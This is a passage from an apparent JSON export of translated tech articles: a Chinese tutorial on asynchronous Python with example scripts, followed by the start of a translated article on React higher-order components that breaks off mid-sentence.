#2：\"轮询\"的父母\n\n让我们改变上面的方式，使用轮询来完成多件事。在这个方式中，父母会周期性的离开任何当前正在做的任务，去检查是否有其它任务需要注意。\n\n由于我们正在对一个父母编程，所以让我们来设置这个轮询的间隔时间，比如说15分钟。所以之后每隔15分钟，这个父母就会去检查洗衣机，烘干机或者孩子是否需要注意，然后再返回去处理平衡支票本。如果其中的任何一件事需要注意，父母就需要先完成这个工作再返回处理平衡支票本，之后继续进行轮询的循环。\n\n如果这样做，任务就都可以完成，但是这样仍会有一些问题。CPU（父母）花了大量时间来检查不需要注意的事，仅仅是因为这些事还没有被完成，比如说像洗衣机和烘干机。给定轮询的时间间隔，在这段时间内任务执行完成是完全有可能的，但是在轮询时间 15 分钟到达之前，该任务有一段时间是不会得到注意的。对于照看孩子这个高优先级的任务，当一些非常严重的事情发生时，这个 15 分钟可能的窗口期是让人不能忍受的。\n\n我们可以通过缩短我们的轮询时间来解决这个问题，但是现在 CPU 甚至会花费更多的时间在任务之间进行上下文切换，并且我们得到的收益开始逐渐降低。当我们像这样生活了几个星期之后，下场可以参考我之前关于窗口和跳跃的评论。\n\n## 头脑风暴 #3：\"线程型\"父母\n\n我们经常可以从作为父母的人口中听到\"只有把自己克隆了才能完成这么多的事\"。由于现在我们假装可以对父母这个角色编程，我们可以通过使用线程来实现克隆。\n\n如果我们把所有的任务看成一个\"程序\"，我们就可以把这些任务分解出来并且使用线程来运行这些任务，只要克隆这个父母就可以了。现在对于每个任务都有一个父母实例；包括照看孩子，看管洗衣机，看管烘干机和平衡收支本，所有这些任务都是独立运行的。这对于这个程序的问题来说听起来是一个很棒的解决方案。\n\n但是确实是这样吗？因为我们必须明确的告诉这些父母实例（CPUs）在程序里面要做什么，当所有的实例都共享程序空间内的全部资源时，我们就会遇到一些问题。\n\n比如说，当监控烘干机的父母看到衣服已经烘干了，就会去控制烘干机并开始把里面的衣服取出来。当负责烘干机的父母正在取出衣服时，负责洗衣机的父母看到洗衣机也洗完衣服了，就会去控制洗衣机，取出衣服后就会想要去控制烘干机来将洗完的衣服从洗衣机放到烘干机。这时候控制烘干机的父母已经从烘干机取出衣服而想要去控制洗衣机，并且之后会把衣服从洗衣机移动到烘干机。\n\n现在这两个父母实例就已经[死锁](https://en.wikipedia.org/wiki/Deadlock)了。\n\n他们两个都控制着自己的资源并且希望控制对方的资源。他们就会一直等待对方释放对资源的控制权。作为程序员，我们必须编写代码来处理这种情况。\n\n这里是另一个因为父母线程可能引发的问题。比如不幸的是，一个孩子受伤了，父母就必须要带孩子去紧急治疗。因为现在这个父母的克隆是专门用于照看孩子的，所以可以马上响应。但是在这个紧急情况下，照看孩子的父母必须写一张相当大的支票来支付紧急护理的自付额。\n\n同时，在支票本上工作的父母并不知道已经写了这个大额的支票，这时候家庭的账户就已经透支了。因为所有父母的克隆都在同一个程序内工作，家庭的钱（支票本）是这个程序世界里的一个共享资源，我们需要想出一个办法让照看孩子的父母可以通知平衡支票本的父母发生了什么。或者就要提供某种锁机制，这样在同一时间只有一个父母实例能更新这个资源。\n\n所有这些事情都是可以在程序的线程代码中管理的，但是很难把代码写正确并且当出现问题时也很难 debug。\n\n## 让我们来写一些 Python 代码\n\n现在我们将采用在\"头脑风暴\"中概述的一些方法，我们将把它们转变为可以运行的 Python 代码。\n\n你可以在这个 [GitHub 仓库](https://github.com/writeson/async_python_programming_presentation) 下载所有的示例代码。\n\n这篇文章中的所有例子都已经在 Python 3.6.1 环境下测试过，而且在代码示例中的这个 [`requirements.txt` 文件](https://github.com/writeson/async_python_programming_presentation/blob/master/requirements.txt)包含了运行所有这些测试所需要的模块。\n\n我强烈建议创建一个 [Python 虚拟环境](https://www.youtube.com/watch?v=UqkT2Ml9beg)来运行这些代码，这样就不会和系统级别的 Python 产生耦合。\n\n## 示例 1：同步编程\n\n\n第一个例子展示的是一种有些刻意设计的方式，即有一个任务先从队列中拉取\"工作\"之后再执行这个工作。在这种情况下，这个工作的内容只是获取一个数字，然后任务会把这个数字叠加起来。在每个计数步骤中，它还打印了字符串表明该任务正在运行，并且在循环的最后还打印出了总的计数。我们设计的部分即这个程序为多任务处理在队列中的工作提供了很自然的基础。\n\n```\n\"\"\"\nexample_1.py\n\nJust a short example showing synchronous running of 'tasks'\n\"\"\"\n\nimport queue\n\ndef task(name, work_queue):\n    if work_queue.empty():\n        print(f'Task {name} nothing to do')\n    else:\n        while not work_queue.empty():\n            count = work_queue.get()\n            total = 0\n            for x in range(count):\n                print(f'Task {name} running')\n                total += 1\n            print(f'Task {name} total: {total}')\n\n\ndef main():\n    \"\"\"\n    This is the main entry point for the program\n    \"\"\"\n    # create the queue of 'work'\n    work_queue = queue.Queue()\n\n    # put some 'work' in the queue\n    for work in [15, 10, 5, 2]:\n        work_queue.put(work)\n\n    # create some tasks\n    tasks = [\n        (task, 'One', work_queue),\n        (task, 'Two', work_queue)\n    ]\n\n    # run the tasks\n    for t, n, q in tasks:\n        t(n, q)\n\nif __name__ == '__main__':\n    main()\n```\n\n该程序中的\"任务\"就是一个函数，该函数可以接收一个字符串和一个队列作为参数。在执行时，它会去看队列里是否有任何需要处理的工作，如果有，它就会把值从队列中取出来，开启一个 for 循环来叠加这个计数值并且在最后打印出总数。它会一直这样运行直到队列里什么都没剩了才会结束离开。\n\n当我们在执行这个任务时，我们会得到一个列表表明任务一（即代码中的 task One）做了所有的工作。它内部的循环消费了队列里的全部工作，并且执行这些工作。当退出任务一的循环后，任务二（即代码中的 task Two）有机会运行，但是它会发现队列是空的，因为这个影响，该任务会打印一段语句之后退出。代码中并没有任何地方可以让任务一和任务二协作的很好并且可以在它们之间切换。\n\n## 示例 2： 简单的协作并发\n\n程序（`example_2.py`）的下个版本通过使用生成器增加了两个任务可以跟好相互协作的能力。在任务函数中添加 yield 语句意味着循环会在执行到这个语句时退出，但是仍然保留当时的上下文，这样之后就可以恢复先前的循环。在程序后面 \"run the tasks\" 的循坏中当 `t.next()` 被调用时就可以利用这个。这条语句会在之前生成（即调用 yield 的语句处）的地方重新开始之前的任务。\n\n这是一种协作并发的方式。这个程序会让出对它当前上下文的控制，这样其它的任务就可以运行。在这种情况下，它允许我们主要的 \"run the tasks\" 调度器可以运行任务函数的两个实例，每一个实例都从相同的队列中消费工作。这种做法虽然聪明一些，但是为了和第一个示例达成同样结果的同时做了更多的工作。\n\n```\n\"\"\"\nexample_2.py\n\nJust a short example demonstrating a simple state machine in Python\n\"\"\"\n\nimport queue\n\ndef task(name, queue):\n    while not queue.empty():\n        count = queue.get()\n        total = 0\n        for x in range(count):\n            print(f'Task {name} running')\n            total += 1\n            yield\n        print(f'Task {name} total: {total}')\n\ndef main():\n    \"\"\"\n    This is the main entry point for the program\n    \"\"\"\n    # create the queue of 'work'\n    work_queue = queue.Queue()\n\n    # put some 'work' in the queue\n    for work in [15, 10, 5, 2]:\n        work_queue.put(work)\n\n    # create some tasks\n    tasks = [\n        task('One', work_queue),\n        task('Two', work_queue)\n    ]\n\n    # run the tasks\n    done = False\n    while not done:\n        for t in tasks:\n            try:\n                next(t)\n            except StopIteration:\n                tasks.remove(t)\n            if len(tasks) == 0:\n                done = True\n\n\nif __name__ == '__main__':\n    main()\n```\n\n当程序运行时，输出表明任务一和任务二都在运行，它们都从队列里消耗工作并且处理它。这就是我们想要的，两个任务都在处理工作，而且都是以处理从队列中的两个项目结束。但是再一次，需要做一点工作来实现这个结果。\n\n这里的技巧在于使用 `yield` 语句，它将任务函数转变为生成器，来实现一个 \"上下文切换\"。这个程序使用这个上下文切换来运行任务的两个实例。\n\n## 示例 3：通过阻塞调用来协作并发\n\n程序（`example_3.py`）的下个版本和上一个版本几乎完全一样，除了在我们任务循环体内添加了一个 `time.sleep(1)` 调用。这使任务循环中的每次迭代都添加了一秒的延迟。这个添加的延迟是为了模拟在我们任务中出现缓慢 IO 操作的影响。\n\n我还导入了一个简单的 Elapsed Time 类来处理报告中使用的开始时间／已用时间功能。\n\n\n```\n\"\"\"\nexample_3.py\n\nJust a short example demonstraing a simple state machine in Python\nHowever, this one has delays that affect it\n\"\"\"\n\nimport time\nimport queue\nfrom lib.elapsed_time import ET\n\n\ndef task(name, queue):\n    while not queue.empty():\n        count = queue.get()\n        total = 0\n        et = ET()\n        for x in range(count):\n            print(f'Task {name} running')\n            time.sleep(1)\n            total += 1\n            yield\n        print(f'Task {name} total: {total}')\n        print(f'Task {name} total elapsed time: {et():.1f}')\n\n\ndef main():\n    \"\"\"\n    This is the main entry point for the program\n    \"\"\"\n    # create the queue of 'work'\n    work_queue = queue.Queue()\n\n    # put some 'work' in the queue\n    for work in [15, 10, 5, 2]:\n        work_queue.put(work)\n\n\n    tasks = [\n        task('One', work_queue),\n        task('Two', work_queue)\n    ]\n    # run the scheduler to run the tasks\n    et = ET()\n    done = False\n    while not done:\n        for t in tasks:\n            try:\n                next(t)\n            except StopIteration:\n                tasks.remove(t)\n            if len(tasks) == 0:\n                done = True\n\n    print()\n    print('Total elapsed time: {}'.format(et()))\n\n\nif __name__ == '__main__':\n    main()\n```\n\n当该程序运行时，输出表明任务一和任务二都在运行，消费从队列里来的工作并像之前那样处理它们。随着增加的模拟 IO 操作延迟，我们发现我们协作式的并发并没有为我们做任何事，延迟会停止整个程序的运行，而 CPU 就只会等待这个 IO 延迟的结束。\n\n这就是异步文档中 ”阻塞代码“的确切含义。注意运行整个程序所需要的时间，你会发现这就是所有 IO 延迟的累积时间。这再次意味着通过这种方式运行程序并不是胜利了。\n\n## 示例 4：使用非阻塞调用来协作并发\n\n程序（`example_4.py`）的下一个版本已经修改了不少代码。它在程序一开始就使用了 [gevent 异步编程模块](http://www.gevent.org/)。该 模块以及另一个叫做 `monkey` 的模块被导入了。\n\n之后 `monkey` 模块一个叫做 `patch_all()` 的方法被调用。这个方法是用来干嘛的呢？简单来说它配置了这个应用程序，使其它所有包含阻塞（同步）代码的模块都会被打上\"补丁\"，这样这些同步代码就会变成异步的。\n\n就像大多数简单的解释一样，这个解释对你并没有很大的帮助。在我们示例代码中与之相关的就是 `time.sleep(1)`（我们模拟的 IO 延迟）不会再\"阻塞\"整个程序。取而代之的是它让出程序的控制返回给系统。请注意，\"example_3.py\" 中的 \"yield\" 语句不再存在，它现在已经是 `time.sleep(1)` 函数调用内的一部分。\n\n所以，如果 `time.sleep(1)` 已经被 gevent 打补丁来让出控制，那么这个控制又到哪里去了？使用 gevent 的一个作用是它会在程序中运行一个事件循环的线程。对于我们的目的来说，这个事件循环就像在 `example_3.py` 中 \"run the tasks\" 的循环。当 `time.sleep(1)` 的延迟结束时，它就会把控制返回给 `time.sleep(1)` 语句的下一条可执行语句。这样做的优点是 CPU 不会因为延迟被阻塞，而是可以有空闲去执行其它代码。\n\n我们 \"run the tasks\" 的循环已经不再存在了，取而代之的是我们的任务队列包含了两个对 `gevent.spawn(...)` 的调用。这两个调用会启动两个 gevent 线程（叫做 greenlet），它们是相互协作进行上下文切换的轻量级微线程，而不是像普通线程一样由系统切换上下文。\n\n注意在我们任务生成之后的 `gevent.joinall(tasks)` 调用。这条语句会让我们的程序会一直等待任务一和任务二都完成。如果没有这个的话，我们的程序将会继续执行后面打印的语句，但是实际上没有做任何事。\n\n```\n\"\"\"\nexample_4.py\n\nJust a short example demonstrating a simple state machine in Python\nHowever, this one has delays that affect it\n\"\"\"\n\nimport gevent\nfrom gevent import monkey\nmonkey.patch_all()\n\nimport time\nimport queue\nfrom lib.elapsed_time import ET\n\n\ndef task(name, work_queue):\n    while not work_queue.empty():\n        count = work_queue.get()\n        total = 0\n        et = ET()\n        for x in range(count):\n            print(f'Task {name} running')\n            time.sleep(1)\n            total += 1\n        print(f'Task {name} total: {total}')\n        print(f'Task {name} total elapsed time: {et():.1f}')\n\n\ndef main():\n    \"\"\"\n    This is the main entry point for the programWhen\n    \"\"\"\n    # create the queue of 'work'\n    work_queue = queue.Queue()\n\n    # put some 'work' in the queue\n    for work in [15, 10, 5, 2]:\n        work_queue.put(work)\n\n    # run the tasks\n    et = ET()\n    tasks = [\n        gevent.spawn(task, 'One', work_queue),\n        gevent.spawn(task, 'Two', work_queue)\n    ]\n    gevent.joinall(tasks)\n    print()\n    print(f'Total elapsed time: {et():.1f}')\n\n\nif __name__ == '__main__':\n    main()\n```\n\n当这个程序运行的时候，请注意任务一和任务二都在同样的时间开始，然后等待模拟的 IO 调用结束。这表明 `time.sleep(1)` 调用已经不再阻塞，其它的工作也正在被做。\n\n在程序结束时，看下总的运行时间你就会发现它实际上是 `example_3.py` 运行时间的一半。现在我们开始看到异步程序的优势了。\n\n在并发运行两个或者多个事件可以通过非阻塞的方式来执行 IO 操作。通过使用 gevent greenlets 和控制上下文切换，我们就可以在多个任务之间实现多路复用，这个实现并不会遇到太多麻烦。\n\n## 示例 5：异步（阻塞）HTTP 下载\n\n程序（`example_5.py`）的下一个版本有一点进步也有一点退步。这个程序现在处理的是有真正 IO 操作的工作，即向一个 URL 列表发起 HTTP 请求来获取页面内容，但是它仍然是以阻塞（同步）的方式运行的。\n\n我们修改了这个程序导入了非常棒的 [`requests`  模块](https://requests.org/)  来创建真实的 HTTP 请求，而且我们把一份 URL 列表加入到队列中，而不是像之前一样只是数字。在这个任务中，我们也没有再用计数器，而是使用 requests 模块来获取从队列里得到 URL 页面的内容，并且我们打印了执行这个操作的时间。\n\n```\n\"\"\"\nexample_5.py\n\nJust a short example demonstrating a simple state machine in Python\nThis version is doing actual work, downloading the contents of\nURL's it gets from a queue\n\"\"\"\n\nimport queue\nimport requests\nfrom lib.elapsed_time import ET\n\n\ndef task(name, work_queue):\n    while not work_queue.empty():\n        url = work_queue.get()\n        print(f'Task {name} getting URL: {url}')\n        et = ET()\n        requests.get(url)\n        print(f'Task {name} got URL: {url}')\n        print(f'Task {name} total elapsed time: {et():.1f}')\n        yield\n\n\ndef main():\n    \"\"\"\n    This is the main entry point for the program\n    \"\"\"\n    # create the queue of 'work'\n    work_queue = queue.Queue()\n\n    # put some 'work' in the queue\n    for url in [\n        \"http://google.com\",\n        \"http://yahoo.com\",\n        \"http://linkedin.com\",\n        \"http://shutterfly.com\",\n        \"http://mypublisher.com\",\n        \"http://facebook.com\"\n    ]:\n        work_queue.put(url)\n\n    tasks = [\n        task('One', work_queue),\n        task('Two', work_queue)\n    ]\n    # run the scheduler to run the tasks\n    et = ET()\n    done = False\n    while not done:\n        for t in tasks:\n            try:\n                next(t)\n            except StopIteration:\n                tasks.remove(t)\n            if len(tasks) == 0:\n                done = True\n\n    print()\n    print(f'Total elapsed time: {et():.1f}')\n\n\nif __name__ == '__main__':\n    main()\n```\n\n和这个程序之前版本一样，我们使用一个 `yield` 关键字来把我们的任务函数转换成生成器，并且为了让其他任务实例可以执行，我们执行了一次上下文切换。\n\n每个任务都会从工作队列中获取到一个 URL，获取这个 URL 指向页面的内容并且报告获取这些内容花了多长时间。\n\n和之前一样，这个 `yield` 关键字让我们两个任务都能运行，但是因为这个程序是以同步的方式运行的，每个 `requests.get()` 调用在获取到页面之前都会阻塞 CPU。注意在最后运行整个程序的总时间，这对于下一个示例会很有意义。\n\n## 示例 6：使用 gevent 实现异步（非阻塞）HTTP 下载\n\n这个程序（`example_6.py`）的版本修改了先前的版本再次使用了 gevent 模块。记得 gevent 模块的 `monkey.patch_all()` 调用会修改之后的所有模块，这样这些模块的同步代码就会变成异步的，其中也包括 `requests` 模块。\n\n现在的任务已经改成移除了对 `yield` 的调用，因为 `requests.get(url)` 调用已经不会再阻塞了，反而是执行一次上下文切换让出控制给 gevent 的事件循环。在 “run the task” 部分我们使用 gevent 来产生两个任务生成器，之后使用 `joinall()` 来等待它们完成。\n\n```\n\"\"\"\nexample_6.py\n\nJust a short example demonstrating a simple state machine in Python\nThis version is doing actual work, downloading the contents of\nURL's it gets from a queue. It's also using gevent to get the\nURL's in an asynchronous manner.\n\"\"\"\n\nimport gevent\nfrom gevent import monkey\nmonkey.patch_all()\n\nimport queue\nimport requests\nfrom lib.elapsed_time import ET\n\n\ndef task(name, work_queue):\n    while not work_queue.empty():\n        url = work_queue.get()\n        print(f'Task {name} getting URL: {url}')\n        et = ET()\n        requests.get(url)\n        print(f'Task {name} got URL: {url}')\n        print(f'Task {name} total elapsed time: {et():.1f}')\n\ndef main():\n    \"\"\"\n    This is the main entry point for the program\n    \"\"\"\n    # create the queue of 'work'\n    work_queue = queue.Queue()\n\n    # put some 'work' in the queue\n    for url in [\n        \"http://google.com\",\n        \"http://yahoo.com\",\n        \"http://linkedin.com\",\n        \"http://shutterfly.com\",\n        \"http://mypublisher.com\",\n        \"http://facebook.com\"\n    ]:\n        work_queue.put(url)\n\n    # run the tasks\n    et = ET()\n    tasks = [\n        gevent.spawn(task, 'One', work_queue),\n        gevent.spawn(task, 'Two', work_queue)\n    ]\n    gevent.joinall(tasks)\n    print()\n    print(f'Total elapsed time: {et():.1f}')\n\nif __name__ == '__main__':\n    main()\n```\n\n在程序运行的最后，你可以看下总共的时间和获取每个 URL 分别的时间。你将会看到总时间会**少于** `requests.get()` 函数调用的累计时间。\n\n这是因为这些函数调用是异步运行的，所以我们可以同一时间发送多个请求，从而更好地发挥出 CPU的优势。\n\n## 示例 7：使用 Twisted 实现异步（非阻塞）HTTP 下载\n\n程序（`example_7.py`）的版本使用了 [Twisted 模块](https://twistedmatrix.com/) ，该模块本所做的质上和 gevent 模块一样，即以非阻塞的方式下载 URL 对应的内容。\n\nTwisted是一个非常强大的系统，采用了和 gevent 根本上不一样的方式来创建异步程序。gevent 模块是修改其模块使它们的同步代码变成异步，Twisted 提供了它自己的函数和方法来达到同样的结果。\n\n之前在 `example_6.py` 中使用被打补丁的 `requests.get(url)` 调用来获取 URL 内容的位置，现在我们使用 Twisted 函数 `getPage(url)`。\n\n在这个版本中，`@defer.inlineCallbacks` 函数装饰器和语句 `yield getPage(url)` 一起实现把上下文切换到 Twisted  的事件循环。\n\n在 gevent 中这个事件循环是隐含的，但是在 Twisted 中，事件循环由位于程序底部的 `reactor.run()` 明确提供。\n\n```\n\"\"\"\nexample_7.py\n\nJust a short example demonstrating a simple state machine in Python\nThis version is doing actual work, downloading the contents of\nURL's it gets from a work_queue. This version uses the Twisted\nframework to provide the concurrency\n\"\"\"\n\nfrom twisted.internet import defer\nfrom twisted.web.client import getPage\nfrom twisted.internet import reactor, task\n\nimport queue\nfrom lib.elapsed_time import ET\n\n\n@defer.inlineCallbacks\ndef my_task(name, work_queue):\n    try:\n        while not work_queue.empty():\n            url = work_queue.get()\n            print(f'Task {name} getting URL: {url}')\n            et = ET()\n            yield getPage(url)\n            print(f'Task {name} got URL: {url}')\n            print(f'Task {name} total elapsed time: {et():.1f}')\n    except Exception as e:\n        print(str(e))\n\n\ndef main():\n    \"\"\"\n    This is the main entry point for the program\n    \"\"\"\n    # create the work_queue of 'work'\n    work_queue = queue.Queue()\n\n    # put some 'work' in the work_queue\n    for url in [\n        b\"http://google.com\",\n        b\"http://yahoo.com\",\n        b\"http://linkedin.com\",\n        b\"http://shutterfly.com\",\n        b\"http://mypublisher.com\",\n        b\"http://facebook.com\"\n    ]:\n        work_queue.put(url)\n\n    # run the tasks\n    et = ET()\n    defer.DeferredList([\n        task.deferLater(reactor, 0, my_task, 'One', work_queue),\n        task.deferLater(reactor, 0, my_task, 'Two', work_queue)\n    ]).addCallback(lambda _: reactor.stop())\n\n    # run the event loop\n    reactor.run()\n\n    print()\n    print(f'Total elapsed time: {et():.1f}')\n\n\nif __name__ == '__main__':\n    main()\n```\n\n注意最后的结果和 gevent 版本一样，整个程序运行的时间会小于获取每个 URL 内容的累计时间。\n\n## 示例8：使用 Twisted 回调函数实现异步（非阻塞）HTTP 下载\n\n程序 （`example_8.py`）的这个版本也是使用 Twisted 库，但是是以更传统的方式使用 Twisted。\n\n这里我的意思是不再使用  `@defer.inlineCallbacks` / `yield` 这种代码风格，这个版本会使用明确的回调函数。一个\"回调函数\"是一个被传递给系统的函数，该函数可以在之后的事件响应中被调用。在下面的例子中，`success_callback()` 被提供给 Twisted，用来在 `getPage(url)` 调用完成后被调用。\n\n注意在这个程序中 `@defer.inlineCallbacks` 装饰器并没有在 `my_task()` 函数中使用。除此之外，这个函数产出一个叫做  `d` 的变量，该变量是延后调用的缩写，是调用函数 `getPage(url)` 得到的返回值。\n\n**延后**是 Twisted 处理异步编程的方式，回调函数就附加在其之上。当这个延后\"触发\"（即当 `getPage(url)` 完成时），会以回调函数被附加时定义的变量作为参数，来调用这个回调函数。\n\n```\n\"\"\"\nexample_8.py\n\nJust a short example demonstrating a simple state machine in Python\nThis version is doing actual work, downloading the contents of\nURL's it gets from a queue. This version uses the Twisted\nframework to provide the concurrency\n\"\"\"\n\nfrom twisted.internet import defer\nfrom twisted.web.client import getPage\nfrom twisted.internet import reactor, task\n\nimport queue\nfrom lib.elapsed_time import ET\n\n\ndef success_callback(results, name, url, et):\n    print(f'Task {name} got URL: {url}')\n    print(f'Task {name} total elapsed time: {et():.1f}')\n\n\ndef my_task(name, queue):\n    if not queue.empty():\n        while not queue.empty():\n            url = queue.get()\n            print(f'Task {name} getting URL: {url}')\n            et = ET()\n            d = getPage(url)\n            d.addCallback(success_callback, name, url, et)\n            yield d\n\n\ndef main():\n    \"\"\"\n    This is the main entry point for the program\n    \"\"\"\n    # create the queue of 'work'\n    work_queue = queue.Queue()\n\n    # put some 'work' in the queue\n    for url in [\n        b\"http://google.com\",\n        b\"http://yahoo.com\",\n        b\"http://linkedin.com\",\n        b\"http://shutterfly.com\",\n        b\"http://mypublisher.com\",\n        b\"http://facebook.com\"\n    ]:\n        work_queue.put(url)\n\n    # run the tasks\n    et = ET()\n\n    # create cooperator\n    coop = task.Cooperator()\n\n    defer.DeferredList([\n        coop.coiterate(my_task('One', work_queue)),\n        coop.coiterate(my_task('Two', work_queue)),\n    ]).addCallback(lambda _: reactor.stop())\n\n    # run the event loop\n    reactor.run()\n\n    print()\n    print(f'Total elapsed time: {et():.1f}')\n\n\nif __name__ == '__main__':\n    main()\n```\n\n运行这个程序的最终结果和先前的两个示例一样，运行程序的总时间小于获取 URLs 内容的总时间。\n\n无论你使用 gevent 还是 Twisted，这只是个人的喜好和代码风格问题。这两个都是强大的库，提供了让程序员可以编写异步代码的机制。\n\n\n## 结论\n\n我希望这可以帮你知道和理解异步编程可以在哪里以及如何可以变得有用。如果你正在编写一个将 PI 计算到小数点后百万级别精度的函数，异步代码对于该程序根本一点用都没有。\n\n然而，如果你正在尝试实现一个服务器，或者是会执行大量 IO 操作的程序，使用异步编程就会产生巨大的变化。这是一个强大的技术可以帮助你的程序更上一层楼。\n\n## 关于作者\n\nDoug 是一位具有二十多年开发经验的 Python 开发者。他在他的[个人网站](http://writeson.pythonanywhere.com/)上写关于 Python 的文章，目前在 Shutterfly 担任高级 Web 工程师。 Doug 也是 [PythonistaCafe](https://www.pythonistacafe.com) 中的一位值得尊敬的成员。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/understanding-higher-order-components.md",
    "content": "> * 原文地址：[Understanding Higher Order Components](https://medium.freecodecamp.com/understanding-higher-order-components-6ce359d761b)\n> * 原文作者：[Tom Coleman](https://medium.freecodecamp.com/@tmeasday)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Haichao Jiang](https://github.com/AceLeeWinnie)\n> * 校对者：[sun](https://github.com/sunui), [xilihuasi](https://github.com/xilihuasi)\n\n---\n\n# 高阶函数一点通\n\n## **理解快速变化的 React 最佳实践**\n\n[![](https://cdn-images-1.medium.com/max/1000/1*w4MV4Ufnk2WWY4LgX9ZhPA.jpeg)](http://jamesturrell.com/work/type/skyspace/)\n\n\n如果你刚开始接触 React，你可能已经听说过 “高阶组件” 和 “容器” 组件。你也许会奇怪这都什么鬼东西。或者你已经开始使用库提供的 API 了，但对于这些个术语还有些疑惑。\n\n\n作为 [Apollo 的 React 集成](http://dev.apollodata.com/react/) - 一个重度使用高阶组件的热门开源库 - 的维护者和文档作者，我花了些时间来理清这些概念。 \n\n\n我希望这篇文章能够帮你对这一主题有更进一步的了解。\n\n## **重识 React**\n\n本文假定你已对 React 有一定的了解 - 如果没有的话有很多资料可供查阅。例如 Sacha Greif 的 [React 5 大概念](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3) 就是很好的入门文章。但是，让我们再回顾一下然后继续我们的文章。\n\n一个 React 应用包含一系列 **组件**。组件中会传递一组输入属性（**props**），并且输出屏幕渲染的 HTML 片段。当一个组件的 props 更新时，会触发组件重绘，HTML 也会相应变化。\n\n当用户通过一种事件（例如鼠标点击）与 HTML 进行交互时，组件处理事件要么通过触发 **回调** prop，要么通过更新内部 state。更新内部 state 也会造成组件自身及其子组件的重绘。\n\n这里就不得不提组件 **生命周期**，即组件首次渲染，绑定 DOM，传递新 props 等。\n\n组件的渲染函数返回一个或多个其他组件的实例。合成 **视图树** 是一个好的思维模型，能够表明应用内的组件是如何交互的。通常，组件交互是通过传递 props 给子组件实现的，或者通过触发父组件传递来的回调函数实现。\n\n![](https://cdn-images-1.medium.com/max/800/1*NS6TPKPJuCgsK2M45tPIGw.gif)\n\nReact 视图树中的数据流\n\n### **React UI vs 无状态**\n\n似乎现在已经过时，但曾经一切都区分为 Model，View 和 Controller（或者 View Model，或者 Presenter）来描述。在这种分类方式，View 的任务就是 **渲染** 并且处理用户交互，Controller 的任务则是 **准备数据**。\n\nReact 最近的趋势是实现 **无状态函数组件**。这些简单的“纯”组件只根据自身的 props 转换成 HTML 和调用回调 props 来响应用户交互：\n\n![](https://ws3.sinaimg.cn/large/006tNc79gy1fg9il3qk1uj314o0e0q4d.jpg)\n\n他们是函数式的，你甚至可以就把他们当做函数。如果你的视图树包含“纯”组件，你可以把整棵树看成一个由许多小函数组成的输出 HTML 的大型函数。\n\n无状态函数式组件有个很好的特点是极容易测试，并且易于理解。即易于开发和快速 debug。\n\n但是你不能一直逃避的是，UI 需要状态。比如，当用户滑过菜单时，要自动打开（我希望是不要啦！）- 在 React 是利用 state 来实现的。要用 state，你就要用基于 class 的组件。\n\n把 UI 的 “全局 state” 引入视图树就是事情复杂的开始。\n\n### 全局 State\n\nUI 的 全局 state 不能直接独立和某个独立组件相联系。典型地，这一般包含了两类事情：\n\n1. 应用的 **数据** 从 server 来。通常，数据用于多处，所以并不唯一关联某个组件。\n\n2. **全局 UI state**，（像 URL，决定了用户浏览的页面路径）。\n\n安置全局 state 的一个方法是应用内绑定最高层的 “根” 组件，并且下发到各个需要它的子组件中去。然后 state 的改变再通过一连串的回调反馈到顶层。\n\n![](https://cdn-images-1.medium.com/max/800/1*-RDYOXCu7BBOTnkFsE3yFg.gif)\n\n单容器从 store 到视图树的数据流。\n\n这一方法即使快但很笨拙。根组件需要理解全树的需求，每个子树的父组件同样需要理解每个子树的需求。此时引入另一个概念。\n\n### **容器和展示类组件**\n\n这个问题通常通过允许任何层级组件都能获取全局 state 的方式来解决（要求有一些限制）。\n\n在 React 的世界里，组件可以分为能拿到全局 state 的和不能拿到的。\n\n“纯”组件易于测试和理解（尤其是无状态函数式组件）。一旦一个组件是“不纯”的，它就被污染了，并且很难处理。\n\n因此，出现了一个 [pattern](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0) 把“不纯”的组件拆分成 **两个** 组件：\n\n- **容器** 组件操作“脏”全局 state\n- **展示** 组件相反\n\n我们只要像对待上面的一般组件一样对待展示类组件，但把脏的和复杂数据操作类的工作独立到容器组件里。\n\n![](https://cdn-images-1.medium.com/max/800/1*tIdBW-TqotpALD3b2xk3SA.gif)\n\n多容器的数据流\n\n### 容器\n\n一旦你开始区分展示类/容器类组件，编写容器组件会变得有趣。\n\n有件事要注意的是容器类组件有时候不像个组件。它们可能：\n\n- 获取并传递一个全局 state（可以是 Redux）片段到子组件。\n- 运行一个数据访问（可以是 GraphQL）请求，然后把结果传给子组件。\n\n当然，如果我们遵循好的拆分原则，容器 **只挂载单个子组件**。容器和子组件强绑定，因为子组件天生在 render 方法里。不是么？\n\n### 容器归纳\n\n对于容器组件的 **众多类型** 来说（例如，某个容器组件访问的是 Redux store），实现基本相同，不同在于细节：渲染的子组件的不同，获取数据的不同。\n\n举个栗子，在 Redux 的世界里，容器可能是这样的：\n\n![](https://ws2.sinaimg.cn/large/006tNc79gy1fg9ilyq3foj314q0owwhi.jpg)\n\n虽然这个容器很多功能不像真的 Redux 容器，你可以看到除了 `mapStateToProps` 的实现和我们包装的特定 `MyComponent`，**每次写访问 Redux 的容器**，我们还要写很多模板代码。\n\n### 生成容器\n\n事实上，写一个自动 **生成** 容器组件的方法会更容易，这个方法基于相关信息（此例中是子组件和 `mapStateToProps` 函数）。\n\n![](https://ws3.sinaimg.cn/large/006tNc79gy1fg9imav510j314m0ikq51.jpg)\n\n这是一个 **高阶组件**（HOC），是以子组件和其他选项作为参数，为该子组件构造容器的函数。\n\n“高阶”即“高阶函数” - 构造函数的函数，事实上，可以认为 React 组件是产出 UI 的组件。尤其在无状态函数式组件中，这一方法尤其实用，但是仔细想想，它在纯状态展示组件中也同样实用。HOC 其实就是高阶函数。\n\n### **HOC 例子**\n\n这里有些值得一看的例子：\n\n- 最普遍的可能是 